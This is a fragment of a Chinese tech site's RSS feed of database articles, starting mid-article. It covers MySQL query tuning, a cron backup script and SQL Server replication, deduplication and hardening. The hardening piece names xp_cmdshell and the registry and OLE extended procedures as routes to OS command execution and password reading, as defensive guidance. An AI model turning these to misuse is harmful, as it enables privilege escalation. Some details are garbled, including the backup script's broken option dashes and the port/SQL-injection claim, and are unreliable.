BTREE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br/>--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+<br/>1 row in set (0.00 sec)<br/><br/>　值得注意的是：索引就像一把双刃剑。对表的每一域做索引通常没有必要，且很可能导致运行速度减慢，因为向表中插入或修改数据时，MySQL不得不每次都为这些额外的工作重新建立索引。另一方面，避免对表的每一域做索引同样不是一个非常好的主意，因为在提高插入记录的速度时，导致查询操作的速度减慢。这就需要找到一个平衡点，比如在设计索引系统时，考虑表的主要功能（数据修复及编辑）不失为一种明智的选择。<br/><br/>#2: 优化查询性能<br/><br/>　在分析查询性能时，考虑EXPLAIN关键字同样很管用。EXPLAIN关键字一般放在Sel&#101;ct查询语句的前面，用于描述MySQL如何执行查询操作、以及MySQL成功返回结果集需要执行的行数。下面的一个简单例子可以说明（列表C）这一过程：<br/><br/>列表 C<br/><br/>mysql&gt; EXPLAIN Sel&#101;ct city.name, city.district FROM city, country Wh&#101;re city.countrycode = country.code AND country.code = &#39;IND&#39;;<br/>+----+-------------+---------+-------+---------------+---------+---------+-------+------+-------------+<br/>| id | sel&#101;ct_type | table&nbsp;&nbsp; | type&nbsp;&nbsp;| possible_keys | key&nbsp;&nbsp;&nbsp;&nbsp; | key_len | ref&nbsp;&nbsp;| rows | Extra&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br/>+----+-------------+---------+-------+---------------+---------+---------+-------+------+-------------+<br/>|&nbsp;&nbsp;1 | SIMPLE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| country | const | PRIMARY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | PRIMARY | 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | const |&nbsp;&nbsp;&nbsp;&nbsp;1 | Using index |<br/>|&nbsp;&nbsp;1 | SIMPLE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| city&nbsp;&nbsp;&nbsp;&nbsp;| ALL&nbsp;&nbsp; | NULL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| NULL&nbsp;&nbsp;&nbsp;&nbsp;| NULL&nbsp;&nbsp;&nbsp;&nbsp;| NULL | 4079 | Using wh&#101;re |<br/>+----+-------------+---------+-------+---------------+---------+---------+-------+------+-------------+<br/>2 rows in set (0.00 sec)这里查询是基于两个表连接。EXPLAIN关键字描述了MySQL是如何处理连接这两个表。必须清楚的是，当前设计要求MySQL处理的是country表中的一条记录以及city表中的整个4019条记录。这就意味着，还可使用其他的优化技巧改进其查询方法。例如，给city表添加如下索引（列表D）：<br/><br/>列表 D<br/><br/>mysql&gt; Cr&#101;ate INDEX idx_ccode ON city(countrycode);<br/>Query OK, 4079 rows affected (0.15 sec)<br/>Records: 4079&nbsp;&nbsp;Duplicates: 0&nbsp;&nbsp;Warnings: 0<br/><br/>现在，当我们重新使用EXPLAIN关键字进行查询时，我们可以看到一个显著的改进（列表E）：<br/><br/>列表 E<br/><br/>mysql&gt; EXPLAIN Sel&#101;ct city.name, city.district FROM city, country Wh&#101;re city.countrycode = country.code AND country.code = &#39;IND&#39;;<br/>+----+-------------+---------+-------+---------------+-----------+---------+-------+------+-------------+<br/>| id | sel&#101;ct_type | table&nbsp;&nbsp; | type&nbsp;&nbsp;| possible_keys | key&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | key_len | ref&nbsp;&nbsp; | rows | Extra&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br/>+----+-------------+---------+-------+---------------+-----------+---------+-------+------+-------------+<br/>|&nbsp;&nbsp;1 | SIMPLE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| country | const | PRIMARY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | PRIMARY&nbsp;&nbsp; | 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | const |&nbsp;&nbsp;&nbsp;&nbsp;1 | Using index |<br/>|&nbsp;&nbsp;1 | SIMPLE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| city&nbsp;&nbsp;&nbsp;&nbsp;| ref&nbsp;&nbsp; | idx_ccode&nbsp;&nbsp;&nbsp;&nbsp; | idx_ccode | 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | const |&nbsp;&nbsp;333 | Using wh&#101;re |<br/>+----+-------------+---------+-------+---------------+-----------+---------+-------+------+-------------+<br/>2 rows in set (0.01 sec)<br/><br/>　在这个例子中，MySQL现在只需要扫描city表中的333条记录就可产生一个结果集，其扫描记录数几乎减少了90％！自然，数据库资源的查询速度更快，效率更高。<br/><br/>#3: 调整内部变量<br/><br/>　MySQL是如此的开放，所以可轻松地进一步调整其缺省设置以获得更优的性能及稳定性。需要优化的一些关键变量如下：<br/><br/>改变索引缓冲区长度(key_buffer) 　一般，该变量控制缓冲区的长度在处理索引表（读/写操作）时使用。MySQL使用手册指出该变量可以不断增加以确保索引表的最佳性能，并推荐使用与系统内存25％的大小作为该变量的值。这是MySQL十分重要的配置变量之一，如果你对优化和提高系统性能有兴趣，可以从改变key_buffer_size变量的值开始。<br/><br/>改变表长(read_buffer_size) 　当一个查询不断地扫描某一个表，MySQL会为它分配一段内存缓冲区。read_buffer_size变量控制这一缓冲区的大小。如果你认为连续扫描进行得太慢，可以通过增加该变量值以及内存缓冲区大小提高其性能。<br/><br/>设定打开表的数目的最大值(table_cache) 　该变量控制MySQL在任何时候打开表的最大数目，由此能控制服务器响应输入请求的能力。它跟max_connections变量密切相关，增加table_cache值可使MySQL打开更多的表，就如增加max_connections值可增加连接数一样。当收到大量不同数据库及表的请求时，可以考虑改变这一值的大小。<br/><br/>对缓长查询设定一个时间限制(long_query_time) 　MySQL带有“慢查询日志”，它会自动地记录所有的在一个特定的时间范围内尚未结束的查询。这个日志对于跟踪那些低效率或者行为不端的查询以及寻找优化对象都非常有用。long_query_time变量控制这一最大时间限定，以秒为单位。<br/><br/>　以上讨论并给出用于分析和优化SQL查询的三种工具的使用方法，以此提高你的应用程序性能。使用它们快乐地优化吧！]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1796.htm</link>
			<title><![CDATA[每天备份 mysql 数据库的脚本]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Sun,11 May 2008 14:39:04 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1796</guid>
		<description><![CDATA[1. #!/bin/sh<br/>2. cd /home/mysql-backup<br/>3. rm alldb.5.tar.gz -f<br/>4. mv alldb.4.tar.gz alldb.5.tar.gz&gt;/dev/null 2&gt;&amp;1<br/>5. mv alldb.3.tar.gz alldb.4.tar.gz&gt;/dev/null 2&gt;&amp;1<br/>6. mv alldb.2.tar.gz alldb.3.tar.gz&gt;/dev/null 2&gt;&amp;1<br/>7. mv alldb.1.tar.gz alldb.2.tar.gz&gt;/dev/null 2&gt;&amp;1<br/>8. mv alldb.0.tar.gz alldb.1.tar.gz&gt;/dev/null 2&gt;&amp;1<br/>9. tar zcf alldb.0.tar.gz alldb.sql&gt;/dev/null 2&gt;&amp;1<br/>10. rm alldb.sql -f<br/>11. mysqldump –all-databases –opt -ppassword&gt;alldb.sql<br/><br/>上面的最后一句话中 -ppassword 的 password 表示 root 帐号的密码，把它改为你自己的数据库的 root 帐号密码就可以了，或者你可以专门建立一个用来备份的用户来代替 root 帐号。另外，你要保证 /home/mysql-backup 目录是存在的。最后把这个脚本属性改为 755，属主是 root.root，放在 /etc/cron.daily 目录下就可以每天备份一次数据库了，并且以一个星期为周期进行循环。 如果再加上双机备份，将会更保险。<br/><br/>同样的方法可以用于备份网站内容、dns 数据库等。]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1551.htm</link>
			<title><![CDATA[如何简化SQL Server数据库的复制]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Tue,18 Mar 2008 15:35:28 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1551</guid>
		<description><![CDATA[<p>你的复制设计实践难以控制吗?你可以通过减少你的数据库架构中的发布和订阅来<strong>简化SQL Server复制</strong>管理和控制&hellip;&hellip; <span class="Uio889"></span></p>
<p>要不再管理多个数据库和发布并不是件困难的事。假设你用SQL Server为你的一个数据库站点开发一个应用程序。它进展得很快，并且你意识到你可以对同一个应用程序只做少量的修改就可以用于另一个站点。这将按用户的要求很快就会完成，所以你决定复制代码和数据库并相应的做些修改。然后，其他的站点也要求应用程序，每一个都有自己的需要和要求。 <font color="#ffffff"></font></p>
<p>来重复生产应用程序的最快方法是做一个应用和数据库的复本，并对他们做必要的改动。过一段时间，一个对应用的新的需求可能使你选择用SQL Server复制在你的站点和其他站点(可能到门户机器上)之间拷贝数据。对于每一个站点，你将创建不同的发布和订阅。 </p>
<p class="Uio889">&nbsp;</p>
<p>&nbsp;</p>
<p>然后你的公司决定要合并站点，并且你要在同一台服务器(中央服务器)上部署多个数据库和多个发布。这些数据库和发布非常类似但是并不一样。 </p>
<p class="Uio889">&nbsp;</p>
<p>&nbsp;</p>
<p>很有可能你将开始发现它是很烦人且很复杂的&mdash;&mdash;管理这个复制设计。太多的发布，太多的订阅，并且很可能在多个发布中有相同的订阅存在。听起来很类似? <span class="Uio889"></span></p>
<p>你将对复制设计做同样的决定吗?你可以在SQL Server复制设计过程中按这些步骤来简化复制管理和控制。 <span class="Uio889"></span></p>
<p><strong>复制设计目标</strong> </p>
<div class="Uio889">&nbsp;</div>
<p>&nbsp;</p>
<p>你要做一个成功的复制设计的目标应该将会减少管理力度和减少失败点。你可以通过维护较少的发布和订阅达到这个目标。但是，这会意味着改变数据库结构，这可能并不可行。 </p>
<div class="Uio889">&nbsp;</div>
<p>&nbsp;</p>
<p><strong>数据库设计</strong> <font color="#ffffff"></font></p>
<p>最好的方法是合并复制表来减少源数据库(只有一个源数据库更好)。这允许你减少发布的数量。当你合并时，通常有必要对数据表增加站点或数据库代码以便统一数据源。 </p>
<div class="Uio889">&nbsp;</div>
<p>&nbsp;</p>
<p><strong>复制设计</strong> </p>
<div class="Uio889">&nbsp;</div>
<p>&nbsp;</p>
<p>如果修改应用程序以便使用更少的数据库这个工作太复杂的话，一个更好的方法可能是复制表到一个临时的具有共同结构的中央数据库中。通过这个方法，订阅可以从中央数据库中利用较少的发布获得数据，就像下面图片中所显示的： <span class="Uio889"></span></p>
<p><strong>现在的架构：</strong> <span class="Uio889"></span></p>
<p>只有很少的数据库具有相似的架构，而这些数据库由很少的几个应用程序修改。每个数据库具有它自己的发布，并被复制到多个订阅中： </p>
<p class="Uio889">&nbsp;</p>
<p>&nbsp;</p>
<p align="center"><img class="fit-image" onmousewheel="javascript:return big(this)" style="FILTER: ; WIDTH: 450px; ZOOM: 110%; HEIGHT: 338px" height="338" alt="简化SQL Server复制" src="http://www.sql2005.com.cn/uploads/allimg/080318/1011110.gif" width="450" onload="javascript:if(this.width&gt;498)this.style.width=498;" border="0" /> </p>
<p class="Uio889">&nbsp;</p>
<p>&nbsp;</p>
<p><strong>推荐的架构：</strong> </p>
<p class="Uio889">&nbsp;</p>
<p>&nbsp;</p>
<p>数据库被复制到一个具有共同结构的中央数据库中，改动被复制到使用较少发布的订阅中： <span class="Uio889"></span></p>
<p align="center"><img class="fit-image" onmousewheel="javascript:return big(this)" style="FILTER: ; WIDTH: 450px; ZOOM: 110%; HEIGHT: 338px" height="338" alt="简化SQL Server复制" src="http://www.sql2005.com.cn/uploads/allimg/080318/1011111.gif" width="450" onload="javascript:if(this.width&gt;498)this.style.width=498;" border="0" /> <font color="#ffffff"></font></p>
<p>复制合并了数据之后，你就可以发布特定站点所属的数据片段。这允许你创建一个发布并根据这个站点或数据库代码增加一个Where条件。 <span class="Uio889"></span></p>
<p><strong>复制总结</strong> </p>
<div class="Uio889">&nbsp;</div>
<p>&nbsp;</p>
<p>当复制模型由于应用的发展而变得太复杂的时候，简化复制模型是个很好的主意。否则，管理这大量的发布和订阅很可能会变成一件令人头疼的事。 <span class="Uio889"></span></p>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1550.htm</link>
			<title><![CDATA[快速删除SQL Server中的重复记录]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Tue,18 Mar 2008 15:34:48 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1550</guid>
		<description><![CDATA[开发人员的噩梦——删除重复记录<br/>　　想必每一位开发人员都有过类似的经历，在对数据库进行查询或统计的时候不时地会碰到由于表中存在重复的记录而导致查询和统计结果不准确。解决该问题的办法就是将这些重复的记录删除，只保留其中的一条。<br/>　　在SQL Server中除了对拥有十几条记录的表进行人工删除外，实现删除重复记录一般都是写一段代码，用游标的方法一行一行检查，删除重复的记录。因为这种方法需要对整个表进行遍历，所以对于表中的记录数不是很大的时候还是可行的，如果一张表的数据达到上百万条，用游标的方法来删除简直是个噩梦，因为它会执行相当长的一段时间。 <br/>　　四板斧——轻松消除重复记录<br/>　　殊不知在SQL Server中有一种更为简单的方法，它不需要用游标，只要写一句简单插入语句就能实现删除重复记录的功能。为了能清楚地表述，我们首先假设存在一个产品信息表Products，其表结构如下：<br/><br/>Cr&#101;ate TABLE Products (<br/>ProductID int,<br/>ProductName nvarchar (40),<br/>Unit char(2),<br/>UnitPrice money<br/>)<br/>&nbsp;&nbsp;<br/>　　假设产品Chang和Tofu的记录在产品信息表中存在重复。现在要删除这些重复的记录，只保留其中的一条。步骤如下：<br/>　　第一板斧——建立一张具有相同结构的临时表<br/><br/>Cr&#101;ate TABLE Products_temp (<br/>ProductID int,<br/>ProductName nvarchar (40),<br/>Unit char(2),<br/>UnitPrice money<br/>)<br/>&nbsp;&nbsp;<br/>　　第二板斧——为该表加上索引，并使其忽略重复的值<br/>　　方法是在企业管理器中找到上面建立的临时表Products _temp，单击鼠标右键，选择所有任务，选择管理索引，选择新建。然后设置索引选项。<br/>　　第三板斧——拷贝产品信息到临时表<br/><br/>ins&#101;rt into Products_temp Sel&#101;ct * from Products<br/>&nbsp;&nbsp;<br/>　　此时SQL Server会返回如下提示：<br/><br/>　　服务器: 消息 3604，级别 16，状态 1，行 1<br/><br/>　　已忽略重复的键。<br/><br/>　　它表明在产品信息临时表Products_temp中不会有重复的行出现。<br/><br/>　　第四板斧——将新的数据导入原表<br/>　　将原产品信息表Products清空，并将临时表Products_temp中数据导入，最后删除临时表Products_temp。<br/><br/>del&#101;te Products<br/>ins&#101;rt into Products sel&#101;ct * from Products_temp<br/>dro&#112; table Products_temp<br/>&nbsp;&nbsp;<br/>　　这样就完成了对表中重复记录的删除。无论表有多大，它的执行速度都是相当快的，而且因为几乎不用写语句，所以它也是很安全的。<br/><br/>　　小提示：上述方法中删除重复记录取决于创建唯一索引时选择的字段，在实际的操作过程中读者务必首先确认创建的唯一索引字段是否正确，以免将有用的数据删除。<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1549.htm</link>
			<title><![CDATA[教你安装一个安全的SQL Server]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Tue,18 Mar 2008 15:34:25 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1549</guid>
		<description><![CDATA[收集和分发数据是网络管理的职责之一，而且必须确保这些数据的准确性和安全性。不管它们是什么操作系统，数据库服务器需要特殊的管理以保证操作上的安全性。 <br/><br/>&nbsp;&nbsp;<br/><br/>良好的安全性开始于安装。现在让我们看一看如何才能在开始的时候就获得SQL Server的安全性。 <br/><br/>&nbsp;&nbsp;<br/><br/><br/>1:安装 <br/><br/><br/><br/>&nbsp;&nbsp;<br/><br/><br/><br/>在开始安装之前，先定位到终端路由器或者防火墙，将UDP和TCP端口1433和1434指明为SQL Server的IP地址，这将有助于在安装的时候防止SQL injection弱点。 <br/><br/>&nbsp;&nbsp;<br/><br/>请不要在一个域控制器(domain controller)上安装SQL Server，一个程序的弱点可以导致危及整个域。在安装程序的转移数据之前，你最好在一个具有完全补丁修补之后的操作系统上安装SQL Server。 <br/><br/>&nbsp;&nbsp;<br/><br/><br/>SQL Server服务应该运行于独立的当地帐号之下。这样，即使如果有人破坏程序，其它的服务器也可以不受影响。 <br/><br/><br/><br/>&nbsp;&nbsp;<br/><br/><br/><br/>如果服务器想要为一个基于Windows的网络服务，与服务器的所有连接都需要Windows认证。这将使得用户不再有必要记住其它连接的密码，从而减轻了用户的负担。 <br/><br/><br/><br/>&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;<br/><br/>2:服务帐号 <br/><br/><br/><br/>&nbsp;&nbsp;<br/><br/><br/><br/>在通常情况下，服务帐号十分注意分配给它们的权限。SQL Server使用两种帐号：SQL Server Engine和SQL Server Agent。这两种帐号都作为一个具有常规帐号权限的域用户而运行。 <br/><br/><br/><br/>&nbsp;&nbsp;<br/><br/>如果你使用SQL Server认证，而不是使用Windows认证，或者如果你的服务器运行的是ActiveX脚本或CmdExec作业(比如，操作系统命令或者.bat，.cmd，.com，或.exe的可执行程序)，SQL Server Agent帐号将需要当地Windows管理员权限。 <br/><br/>&nbsp;&nbsp;<br/><br/>注意：如果你需要改变与SQL Server服务有关的帐号，可以使用SQL Server企业管理者(SQL Server Enterprise Manager)。企业管理者将对SQL Server使用的文件和注册表键设置合适的权限。不要使用控制面板上MMC的Services applet来更改这些帐号。 <br/><br/><br/>&nbsp;&nbsp;<br/><br/><br/>3:安装之后 <br/><br/><br/>&nbsp;&nbsp;<br/><br/>通过运行微软Killpwd.exe程序，可以清除在安装过程中保存在不同安装文件中的纯文本sysadmin密码。 <br/><br/>&nbsp;&nbsp;<br/><br/>当从新服务器中清除安装文件之后，运行Microsoft Baseline Security Analyzer (MBSA)。这一工具能够扫描和测试安装中产生的问题，这些问题包括： <br/><br/>&nbsp;&nbsp;<br/><br/>过多的sysadmin成员都想作为服务器角色。 <br/><br/><br/><br/>&nbsp;&nbsp;<br/><br/><br/>分配建立CmdExec作业的权限。 <br/><br/>&nbsp;&nbsp;<br/><br/>空白的或者琐屑的密码。 <br/><br/>&nbsp;&nbsp;<br/><br/><br/><br/>脆弱的认证方式。 <br/><br/><br/><br/>&nbsp;&nbsp;<br/><br/><br/>分配给管理者组的过多的权限。 <br/><br/><br/><br/>&nbsp;&nbsp;<br/><br/>运行于域控制器的系统的SQL Server。 <br/><br/>&nbsp;&nbsp;<br/><br/>每一组的不合适的配置。 <br/><br/><br/>&nbsp;&nbsp;<br/><br/>SQL Server服务帐号的不合适的配置。 <br/><br/>&nbsp;&nbsp;<br/><br/><br/>丢失的服务补丁和安全更新。 <br/><br/><br/>&nbsp;&nbsp;<br/><br/>最后，请记住检查失败连接的原因。这是安装中最容易忽略的选项。你可以通过SQL Server企业管理者来实现失败连接的检查。 <br/><br/>&nbsp;&nbsp;<br/><br/>遵循的步骤： <br/><br/>&nbsp;&nbsp;<br/><br/><br/>1.右击服务器，选择属性(Properties)。 <br/><br/>&nbsp;&nbsp;<br/><br/><br/><br/>2.在安全(Security)标签，在Audit Level之下选择Failure。 <br/><br/>&nbsp;&nbsp;<br/><br/><br/><br/>3.停止和重新启动服务器，以获得检查的开始。 <br/><br/>&nbsp;&nbsp;<br/><br/>最后注意几点 <br/><br/><br/>这也只是执行一个安全的SQL Server安装的开始。如果你的服务器将从一个公共的Web服务器中集中数据，你应该对设置到Web服务器IP地址的SQL端口进行限制。这些都对数据库服务器非常有好处，但它们都以一个安全的安装为开始。 <br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1548.htm</link>
			<title><![CDATA[SQL Server 2000的安全配置]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Tue,18 Mar 2008 15:33:59 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1548</guid>
		<description><![CDATA[数据库是电子商务、金融以及ERP系统的基础，通常都保存着重要的商业伙伴和客户信息。大多数企业、组织以及政府部门的电子数据都保存在各种数据库中，他们用这些数据库保存一些个人资料，比如员工薪水、个人资料等等。数据库服务器还掌握着敏感的金融数据。包括交易记录、商业事务和帐号数据，战略上的或者专业的信息，比如专利和工程数据，甚至市场计划等等应该保护起来防止竞争者和其他非法者获取的资料。数据完整性和合法存取会受到很多方面的安全威胁，包括密码策略、系统后门、数据库操作以及本身的安全方案。但是数据库通常没有象操作系统和网络这样在安全性上受到重视。&nbsp;&nbsp;<br/><br/><br/>　 <br/><br/><br/><br/>　　微软的SQL Server是一种广泛使用的数据库，很多电子商务网站、企业内部信息化平台等都是基于SQL Server上的，但是数据库的安全性还没有被人们更系统的安全性等同起来，多数管理员认为只要把网络和操作系统的安全搞好了，那么所有的应用程序也就安全了。大多数系统管理员对数据库不熟悉而数据库管理员有对安全问题关心太少，而且一些安全公司也忽略数据库安全，这就使数据库的安全问题更加严峻了。数据库系统中存在的安全漏洞和不当的配置通常会造成严重的后果，而且都难以发现。数据库应用程序通常同操作系统的最高管理员密切相关。广泛SQL Server数据库又是属于“端口”型的数据库，这就表示任何人都能够用分析工具试图连接到数据库上，从而绕过操作系统的安全机制，进而闯入系统、破坏和窃取数据资料，甚至破坏整个系统。 <br/><br/><br/><br/>　　这里，我们主要谈论有关SQL Server2000数据库的安全配置以及一些相关的安全和使用上的问题。 <br/><br/>　　在进行SQL Server 2000数据库的安全配置之前，首先你必须对操作系统进行安全配置，保证你的操作系统处于安全状态。然后对你要使用的操作数据库软件（程序）进行必要的安全审核，比如对ASP、PHP等脚本，这是很多基于数据库的WEB应用常出现的安全隐患，对于脚本主要是一个过滤问题，需要过滤一些类似 , ‘ ; @ / 等字符，防止破坏者构造恶意的SQL语句。接着，安装SQL Server2000后请打上补丁sp1以及最新的sp2。 <br/><br/>　　下载地址是：<a href="http://www.microsoft.com/sql/downloads/2000/sp1.asp" target="_blank" rel="external">http://www.microsoft.com/sql/downloads/2000/sp1.asp</a>　和<a href="http://www.microsoft.com/sql/downloads/2000/sp2.asp" target="_blank" rel="external">http://www.microsoft.com/sql/downloads/2000/sp2.asp</a> ; <br/><br/>　　在做完上面三步基础之后，我们再来讨论SQL Server的安全配置。 <br/><br/><br/><br/>1、使用安全的密码策略 <br/><br/>　　我们把密码策略摆在所有安全配置的第一步，请注意，很多数据库帐号的密码过于简单，这跟系统密码过于简单是一个道理。对于sa更应该注意，同时不要让sa帐号的密码写于应用程序或者脚本中。健壮的密码是安全的第一步！ <br/><br/><br/><br/>　　SQL Server2000安装的时候，如果是使用混合模式，那么就需要输入sa的密码，除非你确认必须使用空密码。这比以前的版本有所改进。 <br/><br/><br/>　　同时养成定期修改密码的好习惯。数据库管理员应该定期查看是否有不符合密码要求的帐号。比如使用下面的SQL语句： <br/><br/><br/>Use master <br/><br/><br/><br/>Sel&#101;ct name,Password from syslogins wh&#101;re password is null <br/><br/><br/>2、使用安全的帐号策略。 <br/><br/>　　由于SQL Server不能更改sa用户名称，也不能删除这个超级用户，所以，我们必须对这个帐号进行最强的保护，当然，包括使用一个非常强壮的密码，最好不要在数据库应用中使用sa帐号，只有当没有其它方法登录到 SQL Server 实例（例如，当其它系统管理员不可用或忘记了密码）时才使用 sa。建议数据库管理员新建立一个拥有与sa一样权限的超级用户来管理数据库。安全的帐号策略还包括不要让管理员权限的帐号泛滥。 <br/><br/><br/>　　SQL Server的认证模式有Windows身份认证和混合身份认证两种。如果数据库管理员不希望操作系统管理员来通过操作系统登陆来接触数据库的话，可以在帐号管理中把系统帐号“BUILTIN\Administrators”删除。不过这样做的结果是一旦sa帐号忘记密码的话，就没有办法来恢复了。 <br/><br/>　　很多主机使用数据库应用只是用来做查询、修改等简单功能的，请根据实际需要分配帐号，并赋予仅仅能够满足应用要求和需要的权限。比如，只要查询功能的，那么就使用一个简单的public帐号能够sel&#101;ct就可以了。 <br/><br/>3、加强数据库日志的记录。 <br/><br/>　　审核数据库登录事件的“失败和成功”，在实例属性中选择“安全性”，将其中的审核级别选定为全部，这样在数据库系统和操作系统日志里面，就详细记录了所有帐号的登录事件。如图： <br/><br/>　　请定期查看SQL Server日志检查是否有可疑的登录事件发生，或者使用DOS命令。 <br/><br/>findstr /C:&#34;登录&#34; d:\Microsoft SQL Server\MSSQL\LOG\*.* <br/><br/><br/>4、管理扩展存储过程 <br/><br/>　　对存储过程进行大手术，并且对帐号调用扩展存储过程的权限要慎重。其实在多数应用中根本用不到多少系统的存储过程，而SQL Server的这么多系统存储过程只是用来适应广大用户需求的，所以请删除不必要的存储过程，因为有些系统的存储过程能很容易地被人利用起来提升权限或进行破坏。 <br/><br/>　　如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句： <br/><br/><br/><br/>　　use master <br/><br/>sp_dro&#112;extendedproc &#39;xp_cmdshell&#39; <br/><br/>xp_cmdshell是进入操作系统的最佳捷径，是数据库留给操作系统的一个大后门。如果你需要这个存储过程，请用这个语句也可以恢复过来。 <br/><br/><br/>sp_addextendedproc &#39;xp_cmdshell&#39;, &#39;xpsql70.dll&#39; <br/><br/>　　如果你不需要请丢弃OLE自动存储过程（会造成管理器中的某些特征不能使用），这些过程包括如下： <br/><br/><br/><br/>Sp_OACr&#101;ate　　　　Sp_OADestroy　　Sp_OAGetErrorInfo　　Sp_OAGetProperty <br/><br/>Sp_OAMethod　　Sp_OASetProperty　　　　Sp_OAStop <br/><br/>　　去掉不需要的注册表访问的存储过程，注册表存储过程甚至能够读出操作系统管理员的密码来，如下： <br/><br/>　　Xp_regaddmultistring　　Xp_regdel&#101;tekey　　 Xp_regdel&#101;tevalue　　 Xp_regenumvalues <br/><br/><br/><br/>Xp_regread　　　　 Xp_regremovemultistring　　　　 Xp_regwrite <br/><br/>　　还有一些其他的扩展存储过程，你也最好检查检查。 <br/><br/>　　在处理存储过程的时候，请确认一下，避免造成对数据库或应用程序的伤害。 <br/><br/>5、使用协议加密 <br/><br/><br/>　　SQL Server 2000使用的Tabular Data Stream协议来进行网络数据交换，如果不加密的话，所有的网络传输都是明文的，包括密码、数据库内容等等，这是一个很大的安全威胁。能被人在网络中截获到他们需要的东西，包括数据库帐号和密码。所以，在条件容许情况下，最好使用SSL来加密协议，当然，你需要一个证书来支持。 <br/><br/>6、不要让人随便探测到你的TCP/IP端口 <br/><br/>　　默认情况下，SQL Server使用1433端口监听，很多人都说SQL Server配置的时候要把这个端口改变，这样别人就不能很容易地知道使用的什么端口了。可惜，通过微软未公开的1434端口的UDP探测可以很容易知道SQL Server使用的什么TCP/IP端口了（请参考《深入探索SQL Server网络连接的安全问题》）。 <br/><br/>　　不过微软还是考虑到了这个问题，毕竟公开而且开放的端口会引起不必要的麻烦。在实例属性中选择TCP/IP协议的属性。选择隐藏 SQL Server 实例。如果隐藏了 SQL Server 实例，则将禁止对试图枚举网络上现有的 SQL Server 实例的客户端所发出的广播作出响应。这样，别人就不能用1434来探测你的TCP/IP端口了（除非用Port Scan）。 <br/><br/>7、修改TCP/IP使用的端口 <br/><br/><br/><br/>　　请在上一步配置的基础上，更改原默认的1433端口。在实例属性中选择网络配置中的TCP/IP协议的属性，将TCP/IP使用的默认端口变为其他端口。如图： <br/><br/>　 <br/><br/><br/><br/>9、拒绝来自1434端口的探测 <br/><br/>　　由于1434端口探测没有限制，能够被别人探测到一些数据库信息，而且还可能遭到DOS攻击让数据库服务器的CPU负荷增大，所以对Windows 2000操作系统来说，在IPSec过滤拒绝掉1434端口的UDP通讯，可以尽可能地隐藏你的SQL Server。 <br/><br/>10、对网络连接进行IP限制 <br/><br/>　　SQL Server 2000数据库系统本身没有提供网络连接的安全解决办法，但是Windows 2000提供了这样的安全机制。使用操作系统自己的IPSec可以实现IP数据包的安全性。请对IP连接进行限制，只保证自己的IP能够访问，也拒绝其他IP进行的端口连接，把来自网络上的安全威胁进行有效的控制。 <br/><br/><br/>关于IPSec的使用请参看：<a href="http://www.microsoft.com/china/technet/security/ipsecloc.asp" target="_blank" rel="external">http://www.microsoft.com/china/technet/security/ipsecloc.asp</a> ; <br/><br/>　　上面主要介绍的一些SQL Server的安全配置，经过以上的配置，可以让SQL Server本身具备足够的安全防范能力。当然，更主要的还是要加强内部的安全控制和管理员的安全培训，而且安全性问题是一个长期的解决过程，还需要以后进行更多的安全维护。 <br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1547.htm</link>
			<title><![CDATA[SQL Server中sa帐号改名和删除的好方法]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Tue,18 Mar 2008 15:33:28 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1547</guid>
